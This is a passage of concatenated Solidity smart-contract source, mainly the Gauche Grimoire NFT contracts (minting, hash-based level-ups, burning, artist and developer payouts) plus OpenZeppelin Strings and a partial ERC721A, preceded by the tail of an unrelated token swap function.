address pairTokenAddress,
uint256 lockedBalanceForPool
) private lockTheSwap {
uint256 lockedForSwap = lockedBalanceForPool.sub(_autoSwapCallerFee);
uint256 half = lockedForSwap.div(2);
uint256 otherHalf = lockedForSwap.sub(half);
_transfer(address(this), address(timeCircuts), half);
uint256 initialPairTokenBalance =
IERC20(pairTokenAddress).balanceOf(address(this));
timeCircuts.swapTokens(pairTokenAddress, half);
uint256 newPairTokenBalance =
IERC20(pairTokenAddress).balanceOf(address(this)).sub(
initialPairTokenBalance
);
addLiquidityForTokens(pairTokenAddress, otherHalf, newPairTokenBalance);
emit SwapAndLiquify(
pairTokenAddress,
half,
newPairTokenBalance,
otherHalf
);
_transfer(address(this), tx.origin, _autoSwapCallerFee);
_sendRewardInterestToPool();
}
| 6,471,441 |
// SPDX-License-Identifier: MIT
pragma solidity =0.8.11;
import "./GaucheBase.sol";
import "./LibGauche.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
// Price is .0777e per mint
// Max mint is 10
// Price for a max mint is .777e
// ,@
// #@@ @ @@
// @@ @ @@ @@@ @@% @@ [email protected]@ @@, @@ @@@* @
// @@@ %@@@%%@@@ @@@@ @@@ @@% @@@ @ @@ @@ @@@@@@@@@@@
// @@@ @ @@& @@@, @ @@@ @@% @@ @@ @@ @@
// @@@ @@& @@@ @ @@@ @@% @@@ @@ @@ @@@
// @@@@@ @@( @@@& (@@@ @@@ @@@ %@@% @@@ @@@ @@ @@ @@@ @@@
// @@@ @ @ @
// @@. @@@ @ @@@ @@@ @@@ @@@@@@@@ @@ @ #@@@ @@
//&@@ @, @@@ @@@ @@@ @@@ @@@ @@@ @@ @@@@ @@ @@@ @@ @@@@@@@@@@@
// @@ @ @@@ @@@ @@@ @@@ @@@ @@@ @@ @@@@@@ @@ @@@ @@ @@
// @@ @@@ @@@ @@@ @@@ @@@ @@@ @@ @@. @@@ @@ @@
// (@@@*@@@@@ @@@@ @@@@ @@@*[email protected]@@ @@@@ @@@@@@ @@@@ @@@@ @@@ @@@
//
// [[ ####
// [[[[ ########
// [[[[[ [[#######
// %@#(#@@@@@(## [[[@@#(%@@@@@
// (([*.*[((@@@@#( ([[(([*.*[(#@@@*
// @([* *[(@@@@(# ##@([. *((@@@@
// @((([(((@@@@@## ###[@((([(((@@@@*
// %@@@@@@@@@(#######[[[@@@@@@@@@@
// [######[[[[[[[[[[[[[*
// [[[[[[[[[[[[[[#########
// %%%%%%%%%%%#([[[[[[[[[[[[[(############[[[[[[
// %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%(#[[[[
// %%%%%@@@,,,@@@@,,%@@@*,,@@@@,,,,,%%%%[[[[[[[[[[[
// %%%%%#,,,@[,,,,,@,[[[[[@,,,,,,%%%#[[[
// [[%%%%%%%%,,[[[[[[[[[[[[[[%%%%%[[[[[[[#####([[[
// [[[(%%%%%%%%%%%%%%%%%%%%%%[[[[[[#####
// .[[[[[#######((#%%%%%%([[[[[[[[[[[###########
// [[[[[[[[[##############[[[[[[[[[[[[[[#############[[[
// [[[[[[[[[[[############[[[[[[[[[[[[[[[[###########[[[[[[[[
// [[[[[[[[[[[[[[######[[[[[[[[[[[[[[[[[[[[[(#####([[[[[[[[[[
// #####( [[[[[[ [[[[[[[[[[[#### ####([[[[[[[ *[[[[[######,
// #### ## [ [[[[[[[[[[(##### # [[[[ ########
// [ [[[[[[[[[[####### ,[ ####
// .[[[[[[[[[[########
// [[[[[[[[[[[[[#######
// [(#####[[[[[[[[[[[[[
// .## #######[[[ [[[[[
// ## [[[
/// @title A contract that implements the Gauche protocol.
/// @author Yuut - Soc#0903
/// @notice This contract implements minting of tokens and implementation of new projects for extending a single token into owning multiple generative works.
contract GaucheGrimoire is GaucheBase {
/// @notice This keeps the max level of the project constrained to our offsets overflow value.
uint256 constant internal MAX_LEVEL = 255;
/// @notice This event fires when a word is added to the registry, enabling it to express a new form of art.
/// @param tokenId The token which leveled up.
/// @param wordHash The hash of the word we inserted.
/// @param offsetSlot The storage offset of the word in tokenHashes
/// @param level The project that the word is associated with.
event WordAdded(uint256 indexed tokenId, bytes32 wordHash, uint256 offsetSlot, uint256 level);
/// @notice This event fires when a token is created, and when a token has its reality changed.
/// @param tokenId The token which leveled up.
/// @param hash The hash of the word we inserted.
event HashUpdated(uint256 indexed tokenId, bytes32 hash);
/// @notice This event fires when a project is added.
/// @param projectId The project # which was added.
/// @param project GaucheLevel(uint8 wordPrice, uint64 price, address artistAddress, string baseURI)
event ProjectAdded(uint256 indexed projectId, GaucheLevel project);
/// @notice This event fires when a level has its properties changed.
/// @param projectId The project # which was changed
/// @param project GaucheLevel(uint8 wordPrice, uint64 price, address artistAddress, string baseURI)
event ProjectUpdated(uint256 indexed projectId, GaucheLevel project);
/// @notice This event fires when token is burned.
/// @param tokenId The token that was burned
event TokenBurned(uint256 indexed tokenId);
/// @notice This mapping persists all of the token hashes and any hashes they own as a result of leveling up.
mapping(uint256 => bytes32) public tokenHashes; // Offset of tokenId + wordId. Tracked by spent total in gaucheToken
/// @notice This array persists all of the projects added to the contract.
GaucheLevel[] public gaucheLevels;
/// @notice ERC721a does not allow burn to 0. This is a workaround because I don't wanna touch their contract.
address constant internal burnAddress = 0x000000000000000000000000000000000000dEaD;
/// @notice When instantiating the contract we need to update the first level (0) as everyone starts with that as their base identity.
constructor(
string memory _tokenName,
string memory _tokenSymbol,
string memory _baseURI,
uint64 _pricePerToken,
address _accessTokenAddress,
address _artistAddress,
address _developerAddress
) GaucheBase(_tokenName, _tokenSymbol, _pricePerToken, _accessTokenAddress, _artistAddress, _developerAddress) {
gaucheLevels.push(GaucheLevel(1, _pricePerToken, artistAddress, "https://neophorion.art/api/projects/GaucheGrimoire/metadata/"));
}
/**
* @dev Ensures that we arent inserting 0x0 as a hash. Users can pick their hash on submission.
* The contract only provides verification for words that are keccak256(string).
* No confirmation is done of what the hash is when inserted, because we want to keep it a secret only the user knows.
*/
modifier notNullWord(bytes32 _wordHash) {
checkNotNullWord(_wordHash);
_;
}
/**
* @dev Cannot go above the max level.
*/
modifier mustBeBelowMaxLevel(uint256 _tokenId) {
checkMaxLevel(_tokenId);
_;
}
/**
* @dev Tokens gotta exist to be queried, so we check that the token exists.
*/
modifier tokenExists(uint256 _tokenId) {
checkTokenExists(_tokenId);
_;
}
/**
* @notice This is the way to retrieve project details after they are added to the blockchain.
* This is useful for front ends that may want to display the project details live.
* @param _projectId The project to get the details from
* @return _project GaucheLevel(uint8 wordPrice, uint64 price, address artistAddress, string baseURI)
*/
function getProjectDetails(uint256 _projectId) public view returns (GaucheLevel memory _project) {
require(_projectId < gaucheLevels.length, "GG: Must be in range of projects");
_project = gaucheLevels[_projectId];
return _project;
}
/**
* @notice Current max level of art works ownable
* @return A number 255 or less.
*/
function getProjectLevel() public view returns (uint256) {
return gaucheLevels.length;
}
/**
* @notice Adds a project to the registry.
* @param _wordPrice The price in levels, if there is one.
* @param _price The price in ETH to mint, if there is one.
* @param _artistAddress The artists ethereum address
* @param _tokenURI The tokenURI, without a tokenId
*/
function addProject(uint8 _wordPrice, uint64 _price, address _artistAddress, string memory _tokenURI) onlyOwner public {
require(gaucheLevels.length < MAX_LEVEL, "GG: Max 255");
GaucheLevel memory project = GaucheLevel(_wordPrice, _price, _artistAddress, _tokenURI);
emit ProjectAdded(gaucheLevels.length, project);
gaucheLevels.push(project);
}
/**
* @notice Allows an existing project to be updated. EX: Centralized host -> IPFS migration
* @param _projectId The project to get the details from
* @param _wordPrice The price in levels, if there is one.
* @param _price The price in ETH to mint, if there is one.
* @param _artistAddress The artists ethereum address
* @param _tokenURI The tokenURI, without a tokenId
*/
function editProject(uint256 _projectId, uint8 _wordPrice, uint64 _price, address _artistAddress, string memory _tokenURI) onlyOwner public {
require( _projectId < gaucheLevels.length, "GG: Must be in range");
GaucheLevel memory project = GaucheLevel(_wordPrice, _price, _artistAddress, _tokenURI);
emit ProjectUpdated(_projectId, project);
gaucheLevels[_projectId] = project;
}
/**
* @notice Allows a token to insert a hash to gain a level and access to a new work of art
* @param _tokenToChange The token we are adding state to
* @param _wordHash The keccak256(word) hash generated off chain by the user. NO VALIDATION IS DONE HERE.
*/
function spendRealityChange(uint256 _tokenToChange, bytes32 _wordHash)
onlyIfTokenOwner(_tokenToChange)
isNotMode(SalesState.Finalized)
notNullWord(_wordHash)
mustBeBelowMaxLevel(_tokenToChange)
public payable {
uint256 tokenLevel = getLevel(_tokenToChange);
GaucheLevel memory project = gaucheLevels[tokenLevel];
require(getFree(_tokenToChange) >= project.wordPrice, "GG: No free lvl");
require(msg.value >= project.price, "GG: Too cheap");
_changeReality(_tokenToChange, _wordHash, tokenLevel, project.wordPrice);
}
/**
* @notice Allows a token to be burnt into another token, confering its free levels + 1 for its life
* @param _tokenToBurn The token we are burning, moving its free levels +1 into the _tokenToChange.
* @param _tokenToChange The token we are adding state to
*/
function burnIntoToken(uint256 _tokenToBurn, uint256 _tokenToChange)
onlyIfTokenOwner(_tokenToBurn)
onlyIfTokenOwner(_tokenToChange)
mustBeBelowMaxLevel(_tokenToChange)
isMode(SalesState.Maintenance)
public {
uint256 burntTokenFree = getFree(_tokenToBurn);
uint256 tokenTotalFreeLevels = getFree(_tokenToChange);
require(tokenTotalFreeLevels + burntTokenFree + 1 <= 255, "GG: Max 255");
bytes32 newHash = bytes32((uint256(tokenHashes[_tokenToChange]) + uint(0x01) + burntTokenFree));
tokenHashes[_tokenToChange] = newHash;
emit HashUpdated(_tokenToChange, newHash);
_burn(msg.sender, _tokenToBurn);
}
/**
* @notice Allows for a tokens hash to be verified without revealing it on chain.
* @param _tokenId The token we are checking
* @param _level The level we want to verify against.
* @param _word The plain text word we are submitting. NEVER call this from a contract transaction as it will leak your word!
*/
function verifyTruth(uint256 _tokenId, uint256 _level, string calldata _word)
tokenExists(_tokenId)
public view returns (bool answer) {
require(_level < tokenLevel(_tokenId) && _level != 0, "GG: Word slot out of bounds");
bytes32 word = tokenHashes[getShifted(_tokenId) + _level];
bytes32 assertedTruth = keccak256(abi.encodePacked(_word));
return (word == assertedTruth);
}
/**
* @notice Returns the completed token URI for base token. We use this even though we have a projectURI for entry 0 as its standard and only costs dev gas.
* @param tokenId The token we are checking.
* @return string tokenURI
*/
function tokenURI(uint256 tokenId)
tokenExists(tokenId)
public view virtual override returns (string memory) {
GaucheLevel memory project = gaucheLevels[0];
require(bytes(project.baseURI).length != 0, "GG: No base URI");
return string(abi.encodePacked(project.baseURI, Strings.toString(tokenId)));
}
/**
* @notice Returns the completed token URI for a project hosted in the contract
* @param _tokenId The token we are checking.
* @param _projectId The project we are checking.
* @return tokenURI string with qualified url
*/
function tokenProjectURI(uint256 _tokenId, uint256 _projectId)
tokenExists(_tokenId)
public view returns (string memory tokenURI) {
require(_projectId < gaucheLevels.length, "GG: Must be within project range");
require(tokenHashes[_tokenId] != 0, "GG: Token not found");
require(_projectId < getLevel(_tokenId) , "GG: Level too low");
tokenURI = string(abi.encodePacked(gaucheLevels[_projectId].baseURI, Strings.toString(_tokenId)));
return tokenURI;
}
/**
* @notice Returns the full decoded data as a struct for the token. This is the only way to get the state of a burned token.
* @param _tokenId The token we are checking.
* @return token GaucheToken( uint256 tokenId, uint256 free, uint256 spent, bool burned, bytes32[] ownedHashes )
*/
function tokenFullData(uint256 _tokenId)
public view returns (GaucheToken memory token) {
return GaucheToken(_tokenId, getFree(_tokenId), getLevel(_tokenId), getBurned(_tokenId), getOwnedHashes(_tokenId));
}
/**
* @notice Returns the completed token URI for a project hosted in the contract
* @param _tokenId The token we are checking.
* @return bytes32 base tokenhash for the token
*/
function tokenHash(uint256 _tokenId)
tokenExists(_tokenId)
public view returns (bytes32) {
return tokenHashes[_tokenId];
}
/**
* @notice Returns the completed token URI for a project hosted in the contract
* @param _tokenId The token we are checking.
* @param _level The token we are checking.
* @return bytes32 project tokenHash for the token for a given project level.
*/
function tokenProjectHash(uint256 _tokenId, uint256 _level)
tokenExists(_tokenId)
public view returns (bytes32) {
require(_level != 0, "GG: Level must be non-zero");
require(getLevel(_tokenId) > _level , "GG: Level too low");
return tokenHashes[getShifted(_tokenId) + _level];
}
/**
* @notice Checks if the token has been burnt.
* @param _tokenId The token we are checking.
* @return _burned bool. only true if the token has been burned
*/
function tokenBurned(uint256 _tokenId) public view returns (bool _burned) {
return getBurned(_tokenId);
}
/**
* @notice Gets the hashes for each level a token has achieved.
* @param _tokenId The token we are checking.
* @return ownedHashes bytes32[] Full list of hashes owned by the token
*/
function tokenHashesOwned(uint256 _tokenId)
tokenExists(_tokenId)
public view returns (bytes32[] memory ownedHashes) {
return getOwnedHashes(_tokenId);
}
/**
* @notice Gets the hashes for each level a token has achieved
* @param _tokenId The token we are checking.
* @return uint How many free levels the token has
*/
function tokenFreeChanges(uint256 _tokenId)
tokenExists(_tokenId)
public view returns (uint) {
return getFree(_tokenId);
}
/**
* @notice Gets the tokens current level
* @param _tokenId The token we are checking.
* @return uint How many levels the token has
*/
function tokenLevel(uint256 _tokenId)
tokenExists(_tokenId)
public view returns (uint) {
return getLevel(_tokenId);
}
function getBurnedCount() public view returns(uint256) {
return balanceOf(burnAddress);
}
function getTotalSupply() public view returns(uint256) {
return totalSupply() - getBurnedCount();
}
// We use this function to shift the tokenid 16bits to the left, since we use the last 8bits to store injected hashes
// Example: Token 0x03e9 (1001) becomes 0x03e90000 . With 0x0000 storing the traits, and 0x0001+ storing new hashes
// Overflow within this schema is impossible as there is 65535 entries between tokens in this schema and our max level is 255
function getShifted(uint256 _tokenId) internal view returns(uint256) {
return (_tokenId << 16);
}
// Internal functions used for modifiers and such.
function checkNotNullWord(bytes32 _wordHash) internal view {
require(_wordHash != 0x0, "GG: Cannot insert a null word");
}
function checkMaxLevel(uint256 _tokenId) internal view {
require(getLevel(_tokenId) < gaucheLevels.length , "GG: Max level reached");
}
function getFree(uint256 _tokenId) internal view returns(uint256) {
uint256 free = uint256(tokenHashes[_tokenId]) & 0xFF;
return free;
}
function getLevel(uint256 _tokenId) internal view returns(uint256) {
uint256 level = uint256(tokenHashes[_tokenId]) & 0xFF00;
return level >> 8;
}
function getBurned(uint256 _tokenId) internal view returns(bool) {
return (ownerOf(_tokenId) == burnAddress ? true : false);
}
function getOwnedHashes(uint256 _tokenId) internal view returns(bytes32[] memory ownedHashes) {
uint256 tokenShiftedId = getShifted(_tokenId);
uint256 tokenLevel = getLevel(_tokenId);
ownedHashes = new bytes32[](tokenLevel);
ownedHashes[0] = tokenHashes[_tokenId];
for (uint256 i = 1; i < tokenLevel; i++) {
ownedHashes[i] = tokenHashes[tokenShiftedId + i];
}
return ownedHashes;
}
/**
* @dev This goes with the modifier tokenExists
*/
function checkTokenExists(uint256 _tokenId) internal view returns (bool) {
require(_exists(_tokenId) && ownerOf(_tokenId) != burnAddress, "GG: Token does not exist");
}
function _mintToken(address _toAddress, uint256 _count, bool _batch) internal override returns (uint256[] memory _tokenIds) {
uint256 currentSupply = totalSupply();
if (_batch) {
_safeMint(_toAddress, _count);
_tokenIds = new uint256[](_count);
} else {
_safeMint(_toAddress, 1);
_tokenIds = new uint256[](1);
}
// This is ugly buts its kinda peak performance. We use the final two bytes of the hash to store free uses
// Then we use the two bytes preceeding that for the level.
// We also bitshift the tokenid so we can use the hashes mapping to store words
for(uint256 i = 0; i < _count; i++) {
uint256 tokenId = currentSupply + i;
bytes32 level0hash = bytes32( ( uint256(keccak256(abi.encodePacked(block.number, _msgSender(), tokenId)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000) + uint(0x0100) + ( _batch ? uint(0x01) : _count) ) );
tokenHashes[tokenId] = level0hash;
emit HashUpdated(tokenId, level0hash); // This is to inform frontend services that we have new properties in hash 0
_tokenIds[i] = tokenId;
if(!_batch) {
break;
}
}
return _tokenIds;
}
function _changeReality(uint256 _tokenId, bytes32 _wordHash, uint256 _newSlot, uint256 _levelWordPrice) internal {
uint256 wordSlot = getShifted(_tokenId) +_newSlot;
// Store the incoming word
tokenHashes[wordSlot] = _wordHash;
bytes32 levelZeroHash = bytes32((((uint256(tokenHashes[_tokenId]) + uint(0x0100) )- _levelWordPrice)));
tokenHashes[_tokenId] = levelZeroHash;
emit WordAdded(_tokenId, _wordHash, _newSlot, wordSlot);
emit HashUpdated(_tokenId, levelZeroHash); // This is to inform frontend services that we have new properties in hash 0
}
function _burn(address owner, uint256 tokenId) internal virtual {
transferFrom(owner, burnAddress, tokenId);
emit TokenBurned(tokenId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.8.11;
import "./LibGauche.sol";
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/// @title A contract that implements the sale state machine
/// @author Yuut - Soc#0903
/// @notice This contract implements the sale state machine.
abstract contract GaucheBase is ERC721A, Ownable {
/// @notice Tier 0 artist address. Yes we save this elsewhere, but this is used specifically for the public sale.
address public artistAddress;
/// @notice Developer address. Maintains the contract and allows for the dev to get paid.
address public developerAddress;
/// @notice Sale state machine. Holds all defs related to token sale.
GaucheSale internal sale;
/// @notice Controls the proof of use for Wassilike tokens.
mapping(uint256 => bool) public accessTokenUsed;
/// @notice Controls the contract URI
string internal ContractURI = "https://neophorion.art/api/projects/GaucheGrimoire/contractURI";
/// @notice Sale status event for front end event listeners.
/// @param state Controls the frontend sale state.
event SaleStateChanged(SalesState state);
/// @notice Creates a new instance of the contract and sets required params before initialization.
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint64 _pricePerToken,
address _accessTokenAddress,
address _artistAddress,
address _developerAddress
) ERC721A(_tokenName, _tokenSymbol, 10, 3333) {
sale = GaucheSale(SalesState.Closed, 0x0BB9, _pricePerToken, _accessTokenAddress);
artistAddress = _artistAddress;
developerAddress = _developerAddress;
}
/// @notice Confirms the caller owns the token
/// @param _tokenId The token id to check ownership of
modifier onlyIfTokenOwner(uint256 _tokenId) {
_checkTokenOwner(_tokenId);
_;
}
/// @notice Confirms the sale mode is in the matching state
/// @param _mode Mode to Match
modifier isMode(SalesState _mode) {
_checkMode(_mode);
_;
}
/// @notice Confirms the sale mode is NOT in the matching state
/// @param _mode Mode to Match
modifier isNotMode(SalesState _mode) {
_checkNotMode(_mode);
_;
}
/// @notice MultiMint to allow multiple tokens to be minted at the same time. Price is .0777e per count
/// @param _count Total number of tokens to mint
/// @return _tokenIds An array of tokenids, 1 entry per token minted.
function multiMint(uint256 _count) public payable isMode(SalesState.Active) returns (uint256[] memory _tokenIds) {
uint256 price = sale.pricePerToken * _count;
require(msg.value >= price, "GG: Ether amount is under set price");
require(_count >= 1, "GG: Token count must be 1 or more");
require(totalSupply() < sale.maxPublicTokens, "GG: Max tokens reached");
return _mintToken(_msgSender(), _count, true);
}
/// @notice Single mint to allow high level tokens to be minted. Price is .0777e per count
/// @param _count Total number of levels to mint with
/// @return _tokenIds An array of tokenids, 1 entry per token minted.
function mint(uint256 _count) public payable isMode(SalesState.Active) returns (uint256[] memory _tokenIds) {
uint256 price = sale.pricePerToken * _count;
require(msg.value >= price, "Ether amount is under set price");
require(_count >= 1, "GG: Min Lvl 1"); // Must buy atleast 1 level, since all tokens start at level 1
require(_count <= 255, "GG: Max 255 lvl"); // We stop at 254 because we have a max combined level of 255, as all tokens start at level 1
require(totalSupply() + _count < sale.maxPublicTokens, "GG: Max tokens reached");
return _mintToken(_msgSender(), _count, false);
}
/// @notice Single mint to allow level 3 tokens to be minted using a Wassilikes token
/// @param _tokenId Wassilikes Token Id
/// @return _tokenIds An array of tokenids, 1 entry per token minted.
function mintAccessToken(uint256 _tokenId) isMode(SalesState.AccessToken) public payable returns (uint256[] memory _tokenIds) {
require(msg.value >= sale.pricePerToken, "Ether amount is under set price");
IERC721 accessToken = IERC721(sale.accessTokenAddress);
require(accessToken.ownerOf(_tokenId) == _msgSender(), "Access token not owned");
require(accessTokenUsed[_tokenId] == false, "Access token already used");
accessTokenUsed[_tokenId] = true;
// Wassilikes holders get 1 mint with 3 levels.
return _mintToken(_msgSender(), 3, false);
}
/// @notice Mints reserved tokens for artist + developer + team
/// @return _tokenIds An array of tokenids, 1 entry per token minted.
function reservedMint() isMode(SalesState.Closed) onlyOwner public returns (uint256[] memory _tokenIds) {
require(totalSupply() < 20, "GG: Must be less than 20");
_mintToken(owner(), 1, false); // The owner takes token 0 to prevent it from ever destroying state
_mintToken(artistAddress, 10, false); // Artist and dev get 10 levels to ensure all art can be minted later
_mintToken(developerAddress, 10, false);
_mintToken(owner(), 10, true); // 10 tokens are the max mint
_mintToken(owner(), 7, true); // 7 tokens this wraps up the giveaway reservations
}
/// @notice Used for checking if a token has been used for claiming or not.
/// @param _tokenId Wassilikes Token Id
/// @return bool True if used, false if not
function checkIfAccessTokenIsUsed(uint256 _tokenId) public view returns (bool) {
return accessTokenUsed[_tokenId];
}
/// @notice Grabs the sale state from the contract
/// @return uint The current sale state
function getSaleState() public view returns(uint) {
return uint(sale.saleState);
}
/// @notice Grabs the contractURI
/// @return string The current URI for the contract
function contractURI() public view returns (string memory) {
return ContractURI;
}
/// @notice Cha-Ching. Heres how we get paid!
function withdrawFunds() public onlyOwner {
uint256 share = address(this).balance / 20;
uint256 artistPayout = share * 13;
uint256 developerPayout = share * 7;
if (artistPayout > 0) {
(bool sent, bytes memory data) = payable(artistAddress).call{value: artistPayout}("");
require(sent, "Failed to send Ether");
}
if (developerPayout > 0) {
(bool sent, bytes memory data) = payable(developerAddress).call{value: developerPayout}("");
require(sent, "Failed to send Ether");
}
}
/// @notice Pushes the sale state forward. Can skip to any state but never go back.
/// @param _state the integer of the state to move to
function updateSaleState(SalesState _state) public onlyOwner {
require(sale.saleState != SalesState.Finalized, "GB: Can't change state if Finalized");
require( _state > sale.saleState, "GB: Can't reverse state");
sale.saleState = _state;
emit SaleStateChanged(_state);
}
/// @notice Changes the contractURI
/// @param _contractURI The new contracturi
function updateContractURI(string memory _contractURI) public onlyOwner {
ContractURI = _contractURI;
}
/// @notice Changes the artists withdraw address
/// @param _artistAddress The new address to withdraw to
function updateArtistAddress(address _artistAddress) public {
require(msg.sender == artistAddress, "GB: Only artist");
artistAddress = _artistAddress;
}
/// @notice Changes the developers withdraw address
/// @param _developerAddress The new address to withdraw to
function updateDeveloperAddress(address _developerAddress) public {
require(msg.sender == developerAddress, "GB: Only dev");
developerAddress = _developerAddress;
}
function _checkMode(SalesState _mode) internal view {
require(_mode == sale.saleState ,"GG: Contract must be in matching mode");
}
function _checkNotMode(SalesState _mode) internal view {
require(_mode != sale.saleState ,"GG: Contract must not be in matching mode");
}
function _checkTokenOwner(uint256 _tokenId) internal view {
require(ERC721A.ownerOf(_tokenId) == _msgSender(),"ERC721: Must own token to call this function");
}
function _mintToken(address _toAddress, uint256 _count, bool _batch) internal virtual returns (uint256[] memory _tokenId);
}
// SPDX-License-Identifier: MIT LICENSE
pragma solidity =0.8.11;
enum SalesState {
Closed,
Active,
AccessToken,
Maintenance,
Finalized
}
struct GaucheSale {
SalesState saleState;
uint16 maxPublicTokens;
uint64 pricePerToken;
address accessTokenAddress;
}
struct GaucheToken {
uint256 tokenId;
uint256 free;
uint256 spent;
bool burned;
bytes32[] ownedHashes;
}
struct GaucheLevel {
uint8 wordPrice;
uint64 price;
address artistAddress;
string baseURI;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.8.11;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes the number of issuable tokens (collection size) is capped and fits in a uint128.
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex = 0;
uint256 internal immutable collectionSize;
uint256 internal immutable maxBatchSize;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev
* `maxBatchSize` refers to how much a minter can mint at a time.
* `collectionSize_` refers to how many tokens are in the collection.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_,
uint256 collectionSize_
) {
require(
collectionSize_ > 0,
"ERC721A: collection must have a nonzero supply"
);
require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero");
_name = name_;
_symbol = symbol_;
maxBatchSize = maxBatchSize_;
collectionSize = collectionSize_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), "ERC721A: global index out of bounds");
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert("ERC721A: unable to get token of owner by index");
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721A: balance query for the zero address");
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(
owner != address(0),
"ERC721A: number minted query for the zero address"
);
return uint256(_addressData[owner].numberMinted);
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
require(_exists(tokenId), "ERC721A: owner query for nonexistent token");
uint256 lowestTokenToCheck;
if (tokenId >= maxBatchSize) {
lowestTokenToCheck = tokenId - maxBatchSize + 1;
}
for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert("ERC721A: unable to determine the owner of token");
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
